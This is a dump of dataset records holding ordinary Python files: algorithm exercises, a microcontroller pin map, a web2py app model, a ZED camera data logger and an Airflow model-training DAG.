1.py","file_ext":"py","file_size_in_byte":1318,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"537605613","text":"# -*- coding: utf-8 -*-\n# =============================================================================\n# We are playing the Guess Game. The game is as follows:\n# \n# I pick a number from 1 to n. You have to guess which number I picked.\n# \n# Every time you guess wrong, I'll tell you whether the number is higher or lower.\n# \n# You call a pre-defined API guess(int num) which returns 3 possible results (-1, 1, or 0):\n# \n# -1 : My number is lower\n#  1 : My number is higher\n#  0 : Congrats! You got it!\n# Example :\n# \n# Input: n = 10, pick = 6\n# Output: 6\n# =============================================================================\n\ndef guessNumber(n) -> int:\n    \"\"\"\n    :type n:int\n    :rtype int\n    \"\"\"\n    start, end = 1, n\n    while start <= end:\n        mid = start + (end - start) // 2\n        if guess(mid) == -1: \n            # MY (API's) NUMBER is lower, NOT the guess number is lower, so move left side\n            end = mid - 1\n        elif guess(mid) == 1:\n            # MY(API's) NUMBER is higher\n            start = mid + 1\n        else:\n            return mid\n            ","sub_path":"Python/BinarySearch/guess_number_higher_or_lower.py","file_name":"guess_number_higher_or_lower.py","file_ext":"py","file_size_in_byte":1092,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"279206317","text":"#           PPPPPP  IIIII NN   NN  SSSSS\n#           PP   PP  III  NNN  NN SS\n#           PPPPPP   III  NN N NN  SSSSS\n#           PP       III  NN  NNN      SS\n#           PP      IIIII NN   NN  SSSSS\n\n#\n#  A simple pin name mapping\n#\n\n#\n# The purpose is to have all available pins with some named for a quick and easy\n# place to look at when wiring the device or choosing which pin is free\n#\n\n#\n# These pins are for a lopy4 in a makr expansion board\n#\n\n#\n# Use as e.g.:\n#   NAME_OF_PIN_IN_CODE = 'P10'\n#\n\nPIN_RST = 'RST'\nPIN_P0 = 'P0'\nPIN_P1 = 'P1'\nPIN_P2 = 'P2'\nPIN_P3 = 'P3'\nPIN_P4 = 'P4'\nPIN_P5 = 'P5'\nPIN_P6 = 'P6'\nRUN_LIGHT_PIN = 'P7'\nCOOP_LIGHT_PIN = 'P8'\nHEATING_LAMP_PIN = 'P9'\nDISPLAY_D0_PIN = 'P10'\nDISPLAY_D1_PIN = 'P11'\nPIN_P12 = 'P12'\nPIN_P13 = 'P13' # input only, adc\nPIN_P14 = 'P14' # input only, adc\nPIN_P15 = 'P15' # input only, adc\nPIN_P16 = 'P16' # input only, adc\nPIN_P17 = 'P17' # input only, adc\nPIN_P18 = 'P18' # input only, adc\nBUTTON_PIN = 'P19'  # adc\nSENSOR_IN_PIN = 'P20'   # adc, INSIDE\nSENSOR_OUT_PIN = 'P21'  # OUTSIDE\nDISPLAY_RES_PIN = 'P22'\nDISPLAY_DC_PIN = 'P23'\n","sub_path":"pycom_project/lib/pins.py","file_name":"pins.py","file_ext":"py","file_size_in_byte":1099,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"145353247","text":"# shopping_list = ['milk', 'paste', 'eggs', 'spam', 'bread', 'rice']\n#\n# for item in shopping_list:\n#     if item == 'spam':\n#         print('I am ingoring ' + item)\n#         continue # Skips printing 'spam'. Moves to next iteration.\n#     print(\"buy \" + item)\n#\n# print('\\n'*2)\n#\n# for item in shopping_list:\n#     if item == 'spam':\n#         break # Terminates when it gets to spam\n#     print(\"buy \" + item)\n\nmeal = ['egg', 'bacon', 'beans', 'saussage']\n\nfor item in meal:\n    if item == 'spam':\n        nasty_food_item = item\n        break\nelse:\n    nasty_food_item = ''\n    print(\"I'll have a plate of that, then, please\")\n\nif nasty_food_item:\n    print(\"Can't I have anything without spamn in it?\")\n\n","sub_path":"For Loops/continue_break_else/continue_break_else.py","file_name":"continue_break_else.py","file_ext":"py","file_size_in_byte":708,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"204256831","text":"#!/usr/bin/env python2.7\n# -*- coding: utf-8 -*\nimport numpy as np\nimport rospy\nimport os\nimport cv2\nimport MyToolBox\n\n\n\ndef GetObjResult(TrashDict, IndicDict):\n    if TrashDict == {}:\n        TNum = 0\n    else:    \n        TNum = max(TrashDict)\n    \n    if IndicDict == {}:\n        INum = 0\n    else: \n        INum = max(IndicDict)\n\n    TrashDict = {}\n    IndicDict = {}\n    return TNum, INum, TrashDict, IndicDict\n\n\n\ndef SaveLandmarkImg(FileNum, TempObjNum, NodeTnum, NodeInum, TempImgDict):\n    SaveNum = 20\n    FileNum += 1\n    LMImgSet = {}\n\n    TempObjNum = list(set(TempObjNum))\n    n = len(TempObjNum)\n\n    # 出现最多的物体数        \n    First = TempObjNum[n - 1]\n    NoImg = 0\n\n    # 保存图像\n    n = 0\n    FinalImgDict = {}\n    index = []\n\n    for i in TempImgDict:\n        if TempImgDict[i][0] == First:\n            n += 1\n            FinalImgDict[n] = TempImgDict[i][1]\n            index.append(n)\n\n    # 多于一定数量 等间隔保存\n    if len(index) > SaveNum:\n        index = MyToolBox.SameInterSampling(index, SaveNum)\n\n        num = 1\n        for i in index:\n            LMImgSet[num] = FinalImgDict[i]\n            num += 1\n    # 多于一定数量 直接保存\n    else:\n        num = 1\n        for i in index:\n            LMImgSet[num] = FinalImgDict[i]\n            num += 1\n    return FileNum, LMImgSet                \n\n\n\ndef CheckSaveOrPass(ImgCount, TrashDict, IndicDict, ImgNum, TempObjNum, TempImgDict, FileNum, now_d):\n    SendFlag = 0\n    LMSet = {}\n    if ImgCount >= 25:\n        NodeTnum, NodeInum, TrashDict, IndicDict = GetObjResult(TrashDict, IndicDict)\n        FileNum, LMSet = SaveLandmarkImg(FileNum, TempObjNum, NodeTnum, NodeInum, TempImgDict)\n        Obj = str(NodeTnum) + 'TrashCan,'+ str(NodeInum) +'Indictor.'\n        SendFlag = 1\n    else:\n        Obj = 0\n        TrashDict = {}\n        IndicDict = {}\n    \n    TempImgDict = {}\n    ImgNum = 0\n    TempObjNum = []\n    BracketNum = 0\n    ImgCount = 0\n    return TrashDict, IndicDict, TempImgDict, ImgNum, TempObjNum, ImgCount, FileNum, LMSet, Obj, now_d, SendFlag\n\n\n\ndef NumCount(L):\n    cTrash = 0\n    cIndicator = 0\n    for i in L:\n        if i == 'Trash can':\n            cTrash += 1\n        elif i == 'Indicator panel':\n            cIndicator += 1\n    return cTrash, cIndicator\n\n\n\ndef UpdateDict(L, TrashDict, IndicDict):\n    if L[0] not in TrashDict.keys():\n        TrashDict[L[0]] = 1\n    else:\n        TrashDict[L[0]] += 1\n    \n    if L[1] not in IndicDict.keys():\n        IndicDict[L[1]] = 1\n    else:\n        IndicDict[L[1]] += 1\n    \n    return TrashDict, IndicDict","sub_path":"result_time_online_time_ver2/LandmarkToolBox.py","file_name":"LandmarkToolBox.py","file_ext":"py","file_size_in_byte":2582,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"357849423","text":"class Solution(object):\n    def twoSum(self, nums, target):\n        \"\"\"\n        :type nums: List[int]\n        :type target: int\n        :rtype: List[int]\n        \"\"\"\n        nums1 = nums\n        nums2 = nums\n        for i, num1 in enumerate(nums1):\n            for j, num2 in enumerate(nums2):\n                if j > i and num1 + num2 == target:\n                    return (i, j)\n","sub_path":"two-sum-1.py","file_name":"two-sum-1.py","file_ext":"py","file_size_in_byte":380,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"350074488","text":"from selenium import webdriver\nimport unittest\n\nclass NewVisitorTest(unittest.TestCase):\n\n    def setUp(self):\n        # no proxy\n        self.profile = webdriver.FirefoxProfile()\n        self.profile.set_preference('network.proxy.type', 0)\n        self.profile.update_preferences()\n\n        self.browser = webdriver.Firefox(firefox_profile=self.profile)\n\n    def tearDown(self):\n        self.browser.quit()\n\n    def test_can_start_a_list_and_retrieve_it_later(self):\n        self.browser.get('http://localhost:8000')\n        self.assertIn('To-Do', self.browser.title)\n        self.fail('Finish the test!')\n\nif __name__ == '__main__':\n    unittest.main()\n","sub_path":"superlists/functional_tests.py","file_name":"functional_tests.py","file_ext":"py","file_size_in_byte":655,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"114557049","text":"# -*- coding: utf-8 -*-\n\n# -------------------------------------------------------------------------\n# AppConfig configuration made easy. Look inside private/appconfig.ini\n# Auth is for authenticaiton and access control\n# -------------------------------------------------------------------------\nfrom gluon.contrib.appconfig import AppConfig\nfrom gluon.tools import Auth\n# -------------------------------------------------------------------------\n# This scaffolding model makes your app work on Google App Engine too\n# File is released under public domain and you can use without limitations\n# -------------------------------------------------------------------------\n\nif request.global_settings.web2py_version < \"2.15.5\":\n    raise HTTP(500, \"Requires web2py 2.15.5 or newer\")\n\n# -------------------------------------------------------------------------\n# if SSL/HTTPS is properly configured and you want all HTTP requests to\n# be redirected to HTTPS, uncomment the line below:\n# -------------------------------------------------------------------------\n# request.requires_https()\n\n# -------------------------------------------------------------------------\n# una vez en producción, eliminar recarga = Verdadero para obtener velocidad máxima\n# -------------------------------------------------------------------------\nconfiguration = AppConfig(reload=True)\n\nif not request.env.web2py_runtime_gae:\n    # ---------------------------------------------------------------------\n    # if NOT running on Google App Engine use SQLite or other DB\n    # ---------------------------------------------------------------------\n    db = DAL(configuration.get('db.uri'),\n             pool_size=configuration.get('db.pool_size'),\n             migrate_enabled=configuration.get('db.migrate'),\n             check_reserved=['all'])\n\nelse:\n    # ---------------------------------------------------------------------\n    # connect to Google BigTable (optional 'google:datastore://namespace')\n    # ---------------------------------------------------------------------\n    db = DAL('google:datastore+ndb')\n    # ---------------------------------------------------------------------\n    # store sessions and tickets there\n    # ---------------------------------------------------------------------\n    session.connect(request, response, db=db)\n    # ---------------------------------------------------------------------\n    # or store session in Memcache, Redis, etc.\n    # from gluon.contrib.memdb import MEMDB\n    # from google.appengine.api.memcache import Client\n    # session.connect(request, response, db = MEMDB(Client()))\n    # ---------------------------------------------------------------------\n\n# -------------------------------------------------------------------------\n# by default give a view/generic.extension to all actions from localhost\n# none otherwise. a pattern can be 'controller/function.extension'\n# -------------------------------------------------------------------------\nresponse.generic_patterns = [] \nif request.is_local and not configuration.get('app.production'):\n    response.generic_patterns.append('*')\n\n# -------------------------------------------------------------------------\n# choose a style for forms\n# -------------------------------------------------------------------------\nresponse.formstyle = 'bootstrap4_inline'\nresponse.form_label_separator = ''\n\n# -------------------------------------------------------------------------\n# (optional) optimize handling of static files\n# -------------------------------------------------------------------------\nresponse.optimize_css = 'concat,minify,inline'\nresponse.optimize_js = 'concat,minify,inline'\n\n# -------------------------------------------------------------------------\n# (optional) static assets folder versioning\n# -------------------------------------------------------------------------\n# response.static_version = '0.0.0'\n\n# -------------------------------------------------------------------------\n# Here is sample code if you need for\n# - email capabilities\n# - authentication (registration, login, logout, ... )\n# - authorization (role based authorization)\n# - services (xml, csv, json, xmlrpc, jsonrpc, amf, rss)\n# - old style crud actions\n# (more options discussed in gluon/tools.py)\n# -------------------------------------------------------------------------\n\n# host names must be a list of allowed host names (glob syntax allowed)\n\nauth = Auth(db, host_names=configuration.get('host.names'))\n\nauth.settings.create_user_groups = None\n\n# -------------------------------------------------------------------------\n# create all tables needed by auth, maybe add a list of extra fields\n# -------------------------------------------------------------------------\n\nauth.settings.extra_fields['auth_user'] = []\nauth.define_tables(username=True, signature=False)\n\n# -------------------------------------------------------------------------\n# CONFIGURACIÓN PARA CONECTAR CONTRA DIRECTORIO ACTIVO - LDAP\n# ÚLTIMA MODIFICACIÓN : GARCIALNN 09/08/2018 02:47PM\n# -------------------------------------------------------------------------\n'''\nauth.settings.actions_disabled=['register','change_password','request_reset_password','retrieve_username','profile']\n\nauth.settings.remember_me_form = False\n\nfrom gluon.contrib.login_methods.ldap_auth import ldap_auth\nauth.settings.login_methods.append(ldap_auth(\n    mode='ad', server='167.134.177.66',\n    base_dn='ou=Usuarios,dc=pdvsa,dc=com'))\n'''\n# -------------------------------------------------------------------------\n# configure email\n# -------------------------------------------------------------------------\n\nmail = auth.settings.mailer\nmail.settings.server = 'logging' if request.is_local else configuration.get('smtp.server')\nmail.settings.sender = configuration.get('smtp.sender')\nmail.settings.login = configuration.get('smtp.login')\nmail.settings.tls = configuration.get('smtp.tls') or False\nmail.settings.ssl = configuration.get('smtp.ssl') or False\n\n# -------------------------------------------------------------------------\n# configure auth policy\n# -------------------------------------------------------------------------\nauth.settings.registration_requires_verification = False\nauth.settings.registration_requires_approval = False\nauth.settings.reset_password_requires_verification = True\n\nauth.settings.formstyle = 'divs'\n\n# -------------------------------------------------------------------------  \n# read more at http://dev.w3.org/html5/markup/meta.name.html               \n# -------------------------------------------------------------------------\nresponse.meta.author = configuration.get('app.author')\nresponse.meta.description = configuration.get('app.description')\nresponse.meta.keywords = configuration.get('app.keywords')\nresponse.meta.generator = configuration.get('app.generator')\n\n# -------------------------------------------------------------------------\n# your http://google.com/analytics id                                      \n# -------------------------------------------------------------------------\nresponse.google_analytics_id = configuration.get('google.analytics_id')\n\n# -------------------------------------------------------------------------\n# maybe use the scheduler\n# -------------------------------------------------------------------------\nif configuration.get('scheduler.enabled'):\n    from gluon.scheduler import Scheduler\n    scheduler = Scheduler(db, heartbeat=configure.get('heartbeat'))\n\n# -------------------------------------------------------------------------\n# CONFIGURACIÓN INICIAL DE GRUPOS\n# -------------------------------------------------------------------------\n\ndef crear_grupo(grupo):\n    sql = db.auth_group(db.auth_group.role==grupo)\n    if sql == None:\n        auth.add_group(grupo,grupo)\n    return False\n\ncrear_grupo('Administrador')\ncrear_grupo('Desarrollador')\ncrear_grupo('Usuario')\n\n## ESTABLECER EL GRUPO POR DEFECTO, EL ADMINISTRADOR SE ASIGNARA POR APPADMIN\n\nprupo_defecto = 'Usuario'\n\nsql = db.auth_group(db.auth_group.role==prupo_defecto)\nif sql != None:\n  auth.settings.everybody_group_id = sql.id\n\ndb.define_table('sistema',\n    Field('nombre', 'string', length=None,required=True, ondelete='CASCADE', \n        notnull=True, unique=True,readable=True, format='%(nombre)s'),\n    Field('detalle', 'string', length=None, required=True),\n    Field('icon', 'string', length=None, required=False),\n    Field('activo', 'boolean', default=True),\n    Field('created_on','datetime',default=request.now, update=request.now, writable=False),\n    Field('created_by','reference auth_user',default=auth.user_id, update=auth.user_id, writable=False),\n    )\n\ndb.define_table('menu',\n    Field('nombre', 'string', length=None, required=True, notnull=True,\n        unique=True, readable=True, format='%(name)s'),\n    Field('activo', 'boolean', default=True),\n    Field('sistema_id','reference sistema', required=True, notnull=True, format='%(nombre)s'),\n    )\n\ndb.menu.sistema_id.requires =IS_IN_DB(db, db.sistema.id,'%(nombre)s')\n\ndb.define_table('submenu',\n    Field('nombre', 'string', length=None, required=True, notnull=True,\n        unique=True, readable=True, format='%(name)s'),\n    Field('controlador', 'string', length=None, required=False, default=''),\n    Field('funcion', 'string', length=None, required=False, default=''),\n    Field('activo', 'boolean', default=True),\n    Field('menu_id','reference menu', required=True, notnull=True, format='%(nombre)s'),\n    )\n\ndb.submenu.menu_id.requires =IS_IN_DB(db, db.menu.id,'%(nombre)s')\n\ndb.define_table('acceso',\n    Field('submenu_id','reference submenu', format='%(nombre)s'),\n    Field('group_id','reference auth_group', format='%(role)s'),\n    )\n\ndb.executesql('CREATE UNIQUE INDEX IF NOT EXISTS idxacc ON acceso (submenu_id,group_id);')\ndb.acceso.submenu_id.requires =IS_IN_DB(db, db.submenu.id,'%(nombre)s')\ndb.acceso.group_id.requires =IS_IN_DB(db, db.auth_group.id,'%(role)s')\n\n# -------------------------------------------------------------------------\n# CONFIGURACIÓN DE MODELOS ADICIONALES\n# -------------------------------------------------------------------------\n\nfrom gluon.custom_import import track_changes; track_changes(True)\nimport pdvsa_modelos\nmodelos = pdvsa_modelos.pdvsa_modelos(db)\nmodelos.cargar_modelos()\n\n# -------------------------------------------------------------------------\n# after defining tables, uncomment below to enable auditing\n# -------------------------------------------------------------------------\n# auth.enable_record_versioning(db)\n\nT.set_current_languages('en', 'en-en')\nT.force('es-es')\n","sub_path":"models/db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":10591,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"409081330","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\n# First import the library\nimport pyzed.sl as sl\nimport time\nfrom dashing import *\nimport serial\nimport os\nfrom datetime import datetime\nimport Jetson.GPIO as GPIO\n\nuser_button_pressed = False\ndef cb(channel):\n    global user_button_pressed\n    user_button_pressed = True\n    GPIO.output(high_pin, GPIO.HIGH)\n\npin = 'MCLK05' #'UART1_RTS' #'SOC_GPIO54'\nhigh_pin = 'UART1_RTS'\nGPIO.setmode(GPIO.CVM)#TEGRA_SOC)\nGPIO.setup(pin, GPIO.IN)\nGPIO.setup(high_pin, GPIO.OUT, initial = GPIO.LOW)\nGPIO.add_event_detect(pin, GPIO.RISING, callback = cb, bouncetime = 200)\nprint(\"GPIO setup finished\")\n\n## TODO setup zed camera\ninit = sl.InitParameters(camera_resolution=sl.RESOLUTION.HD720,\n                             coordinate_units=sl.UNIT.METER,\n                             coordinate_system=sl.COORDINATE_SYSTEM.RIGHT_HANDED_Y_UP)\nzed = sl.Camera()\nstatus = zed.open(init)\nif status != sl.ERROR_CODE.SUCCESS:\n    print(repr(status))\n    exit()\n\ntracking_params = sl.PositionalTrackingParameters(_enable_pose_smoothing=False, \n                                                  _set_floor_as_origin = False,\n                                                  _enable_imu_fusion = False)\ntracking_params.area_file_path = \"nsh_chair.area\" #\"smith.area\"\nzed.enable_positional_tracking(tracking_params)\n\nruntime = sl.RuntimeParameters()\ncamera_pose = sl.Pose()\n\ncamera_info = zed.get_camera_information()\n\npy_translation = sl.Translation()\npy_orientation = sl.Orientation()\npose_data = sl.Transform()\nsensors_data = sl.SensorsData()\n\ntext_translation = \"\"\n\nui = HSplit(\n        VSplit(\n            Log(\"Timestamp\", color= 3, border_color = 5),\n            Log(\"OLA Data\", color= 3, border_color = 5),\n        ),\n        VSplit(\n            HGauge(val=0, title=\"tracker accuracy\", border_color=5),\n            HGauge(val=0, title=\"mapper accuracy\", border_color=5),\n        )\n    )\n\n\nrun_dashing_display = True\ndef update_display():\n    if run_dashing_display:\n        ui.display()\n\nupdate_display()\n\n\nupdate_dx = -1\nstart_time = time.time()\n\n## open a serial terminal here, should lead to a logging start on the OLA if its in deep sleep mode\n#with serial.Serial('/dev/ttyUSB0', 115200, timeout=1) as ser:\nui.items[0].items[0].append(\"system started\")\nui.items[0].items[1].append(\"not using OLA\")\n#    update_display()\n    ## pull out the init info from the OLA\n#    for idx in range(16):\n#        ui.items[0].items[1].append(str(ser.readline()))\nupdate_display()\n\ncurDT = datetime.now()\nfile_str = curDT.strftime(\"%Y-%m-%d-%H:%M:%S\")\nwith open(\"/home/dennis/t265_data_collector/zed_data/{}.txt\".format(file_str), 'w') as f:\n    f.write(\"timestamp,posX,posY,posZ,quatW,quatX,quatY,quatZ,tracking_confidence,mapping_confidence,zed_aX,zed_aY,zed_aZ,zed_gX,zed_gY,zed_gZ,button\\n\")\n    try:\n        while True:\n\n            ## TODO get pose & IMU data \n            if zed.grab(runtime) == sl.ERROR_CODE.SUCCESS:\n                tracking_state = zed.get_position(camera_pose)\n                zed.get_sensors_data(sensors_data, sl.TIME_REFERENCE.CURRENT)\n                tracking_confidence = 0\n                mapping_confidence = 0\n                button = 0\n\n                if user_button_pressed:\n                    button = 1\n                    user_button_pressed = False\n                    GPIO.output(high_pin, GPIO.LOW)\n                if tracking_state == sl.POSITIONAL_TRACKING_STATE.OK:\n                    rotation = camera_pose.get_orientation().get()\n                    translation = camera_pose.get_translation(py_translation).get()\n                    acc = sensors_data.get_imu_data().get_linear_acceleration()\n                    gyro = sensors_data.get_imu_data().get_angular_velocity()\n                    tracking_confidence = camera_pose.pose_confidence\n                    mapping_confidence = 1\n#                    pose_data = camera_pose.pose_data(sl.Transform())\n\n                    f.write(\"{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{}\\n\".format(camera_pose.timestamp.data_ns,\n                                                                                translation[0],\n                                                                                translation[1],\n                                                                                translation[2],\n                                                                                rotation[3],\n                                                                                rotation[0],\n                                                                                rotation[1],\n                                                                                rotation[2],\n                                                                                tracking_confidence,\n                                                                                mapping_confidence,\n                                                                                acc[0],\n                                                                                acc[1],\n                                                                                acc[2],\n                                                                                gyro[0],\n                                                                                gyro[1],\n                                                                                gyro[2],\n                                                                                button,\n                                                                                ))\n\n                update_dx += 1\n                if update_dx % 60 == 0 and run_dashing_display:\n                    ui.items[1].items[0].value = (tracking_confidence+1)\n                    ui.items[1].items[1].value = (mapping_confidence+1)*50\n                    ui.items[0].items[0].append(str((time.time() - start_time)/60))\n        #            ui.items[0].items[1].append(str(ser.readline()))\n                    update_display()\n                    update_dx = 0\n\n    finally:\n        ui.items[0].items[0].append(\"shutting down\")\n        update_display()\n\n#            ## send close commands to OLA ( newline, q, then y)\n#            ser.write(b'\\n')\n#            time.sleep(2)\n#            ser.write(b'q')\n#            time.sleep(2)\n#            ser.write(b'y')\n\n        ## TODO shutdown zed\n        zed.close()\n\n        GPIO.cleanup()\n\n        os.system(\"clear\")\n        print(\"done\")\n","sub_path":"collect_zed_data.py","file_name":"collect_zed_data.py","file_ext":"py","file_size_in_byte":6498,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"37440506","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nSpyder Editor\r\n\r\nThis is a temporary script file.\r\n\"\"\"\r\n#binarysearch\r\n\r\ndef binarysearch(list,n):\r\n    low=0\r\n    high=len(list)-1\r\n    found=False\r\n    while low<=high and not found:\r\n        mid=(low+high)//2\r\n        if(key==list[mid]):\r\n            pos=mid\r\n            found=True\r\n        elif key>list[mid]:\r\n            low=mid+1\r\n        else:\r\n            high=mid-1\r\n    if found==True:\r\n        print(\"key is found at\",pos)\r\n    else:\r\n        print(\"key is not found\")\r\n        \r\nlist=[2,1,3,4,5]   \r\nlist.sort()      \r\nprint(list)   \r\npos=-1\r\nkey=int(input(\"enter the key\"))\r\nbinarysearch(list,key)\r\n\r\n","sub_path":"binarysearch.py","file_name":"binarysearch.py","file_ext":"py","file_size_in_byte":646,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"64429075","text":"import os\nimport pandas as pd\nimport pathlib\nimport json\nfrom textwrap import dedent\n\nimport airflow.utils.dates\nfrom airflow import DAG\nfrom airflow.operators.bash import BashOperator\nfrom airflow.operators.python import PythonOperator\nfrom airflow.sensors.python import PythonSensor\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.linear_model import LogisticRegression\n\nfrom utils import *\n\n\ndef _wait_for_file(path: str):\n    return os.path.exists(path)\n\n\ndef _train_val_split(\n    execution_date: str,\n    data_dir: str,\n):\n    output_dir = os.path.join(data_dir, 'processed', execution_date)\n    pathlib.Path(output_dir).mkdir(parents=True, exist_ok=True)\n\n    data = pd.read_csv(os.path.join(data_dir, 'raw', execution_date, 'data.csv'))\n    target = pd.read_csv(os.path.join(data_dir, 'raw', execution_date, 'target.csv'))\n    train, val = split_train_val(data)\n    train.to_csv(os.path.join(output_dir, 'train.csv'), index=False)\n    val.to_csv(os.path.join(output_dir, 'val.csv'), index=False)\n\n    train_target, val_target = split_train_val(target)\n    train_target.to_csv(os.path.join(output_dir, 'train_target.csv'), index=False)\n    val_target.to_csv(os.path.join(output_dir, 'val_target.csv'), index=False)\n    print(f'Split data and target and put into /data/processed/{execution_date}/')\n\n\ndef _data_preprocessing(\n    execution_date: str,\n    processed_train_path: str,\n    output_transformer_dir: str,\n):\n    output_dir = os.path.join(output_transformer_dir, f'{execution_date}')\n    pathlib.Path(output_dir).mkdir(parents=True, exist_ok=True)\n\n    train = pd.read_csv(processed_train_path)\n    transformer = build_transformer(CAT_FEATURES, NUM_FEATURES)\n    transformer.fit(train)\n    dump_pickle(os.path.join(output_dir, 'transformer.pkl'), transformer)\n    print(f'Fit transformer and put into ./data/models/{execution_date}/transformer.pkl')\n\n\ndef _linear_reg_training(\n    input_data_dir: str,\n    input_target_dir: str,\n    input_transformer_path: str,\n    output_model_path: str,\n):\n    train = pd.read_csv(input_data_dir)\n    target = pd.read_csv(input_target_dir)\n    transformer = load_pickle(input_transformer_path)\n    features = transformer.transform(train)\n    model = LogisticRegression(random_state=111).fit(features, target)\n    dump_pickle(output_model_path, model)\n    print(f'Save linear regression model into {output_model_path}')\n\n\ndef _random_forest_training(\n    input_data_dir: str,\n    input_target_dir: str,\n    input_transformer_path: str,\n    output_model_path: str,\n):\n    train = pd.read_csv(input_data_dir)\n    target = pd.read_csv(input_target_dir)\n    transformer = load_pickle(input_transformer_path)\n    features = transformer.transform(train)\n    model = RandomForestClassifier(max_depth=5, random_state=111).fit(features, target)\n    dump_pickle(output_model_path, model)\n    print(f'Save random forest model into {output_model_path}')\n\n\ndef _validate_and_choose_best_model(\n    val_data_dir: str,\n    val_target_dir: str,\n    input_transformer_path: str,\n    lin_reg_model_path: str,\n    random_forest_model_path: str,\n    output_model_path:str,\n    output_metrics_path:str,\n):\n    val = pd.read_csv(val_data_dir)\n    val_target = pd.read_csv(val_target_dir)\n    transformer = load_pickle(input_transformer_path)\n    features = transformer.transform(val)\n    lin_reg_model = load_pickle(lin_reg_model_path)\n    lin_reg_metrics = evaluate_model(lin_reg_model, features, val_target)\n\n    random_forest_model = load_pickle(random_forest_model_path)\n    random_forest_metrics = evaluate_model(random_forest_model, features, val_target)\n\n    if lin_reg_metrics['f1_score'] > random_forest_metrics['f1_score']:\n        dump_pickle(output_model_path, lin_reg_model)\n        with open(output_metrics_path, 'w') as f:\n            json.dump(lin_reg_metrics, f)\n        print('LinearRegression model showed better results')\n    else:\n        dump_pickle(output_model_path, random_forest_model)\n        with open(output_metrics_path, 'w') as f:\n            json.dump(random_forest_metrics, f)\n        print('RandomForestClassifier model showed better results')\n    print(f'Save model and metrics into {output_model_path}')\n\n\nwith DAG(\n    dag_id='train_validate',\n    start_date=airflow.utils.dates.days_ago(1),\n    schedule_interval='@weekly',\n    max_active_runs=1,\n) as dag:\n    data_sensor = PythonSensor(\n        task_id='data_sensor',\n        python_callable=_wait_for_file,\n        op_kwargs={'path': '/opt/airflow/data/raw/{{ ds }}/data.csv'},\n        timeout=6000,\n        poke_interval=10,\n        retries=100,\n        mode='poke',\n    )\n\n    target_sensor = PythonSensor(\n        task_id='target_sensor',\n        python_callable=_wait_for_file,\n        op_kwargs={'path': '/opt/airflow/data/raw/{{ ds }}/target.csv'},\n        timeout=6000,\n        poke_interval=10,\n        retries=100,\n        mode='poke',\n    )\n\n    train_val_split = PythonOperator(\n        task_id='train_val_split',\n        python_callable=_train_val_split,\n        op_kwargs={\n            'execution_date': '{{ ds }}',\n            'data_dir': '/opt/airflow/data/',\n        }\n    )\n\n    data_preprocessing = PythonOperator(\n        task_id='data_preprocessing',\n        python_callable=_data_preprocessing,\n        op_kwargs={\n            'execution_date': '{{ ds }}',\n            'processed_train_path': '/opt/airflow/data/processed/{{ ds }}/train.csv',\n            'output_transformer_dir': '/opt/airflow/models/'\n        }\n    )\n\n    linear_reg_training = PythonOperator(\n        task_id='linear_reg_training',\n        python_callable=_linear_reg_training,\n        op_kwargs={\n            'input_data_dir': '/opt/airflow/data/processed/{{ ds }}/train.csv',\n            'input_target_dir': '/opt/airflow/data/processed/{{ ds }}/train_target.csv',\n            'input_transformer_path': '/opt/airflow/models/{{ ds }}/transformer.pkl',\n            'output_model_path': '/opt/airflow/models/{{ ds }}/lin_reg_model.pkl',\n        }\n    )\n\n    random_forest_training = PythonOperator(\n        task_id='random_forest_training',\n        python_callable=_random_forest_training,\n        op_kwargs={\n            'input_data_dir': '/opt/airflow/data/processed/{{ ds }}/train.csv',\n            'input_target_dir': '/opt/airflow/data/processed/{{ ds }}/train_target.csv',\n            'input_transformer_path': '/opt/airflow/models/{{ ds }}/transformer.pkl',\n            'output_model_path': '/opt/airflow/models/{{ ds }}/random_forest_model.pkl',\n        }\n    )\n\n    validate_and_choose_best_model = PythonOperator(\n        task_id='validate_and_choose_best_model',\n        python_callable=_validate_and_choose_best_model,\n        op_kwargs={\n            'val_data_dir': '/opt/airflow/data/processed/{{ ds }}/val.csv',\n            'val_target_dir': '/opt/airflow/data/processed/{{ ds }}/val_target.csv',\n            'input_transformer_path': '/opt/airflow/models/{{ ds }}/transformer.pkl',\n            'lin_reg_model_path': '/opt/airflow/models/{{ ds }}/lin_reg_model.pkl',\n            'random_forest_model_path': '/opt/airflow/models/{{ ds }}/random_forest_model.pkl',\n            'output_model_path': '/opt/airflow/models/{{ ds }}/model.pkl',\n            'output_metrics_path': '/opt/airflow/models/{{ ds }}/metrics.pkl',\n        }\n    )\n\n    bash_command = dedent(\n        \"\"\"\n        rm /opt/airflow/models/{{ ds }}/lin_reg_model.pkl\n        rm /opt/airflow/models/{{ ds }}/random_forest_model.pkl\n        \"\"\"\n    )\n    remove_redundant_files = BashOperator(\n        task_id='remove_redundant_files',\n        bash_command=bash_command,\n    )\n\n    [data_sensor, target_sensor] >> train_val_split >> data_preprocessing >> \\\n    [linear_reg_training, random_forest_training] >> validate_and_choose_best_model >>\\\n    remove_redundant_files\n","sub_path":"airflow_ml_dags/dags/dag_train_validate.py","file_name":"dag_train_validate.py","file_ext":"py","file_size_in_byte":7776,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
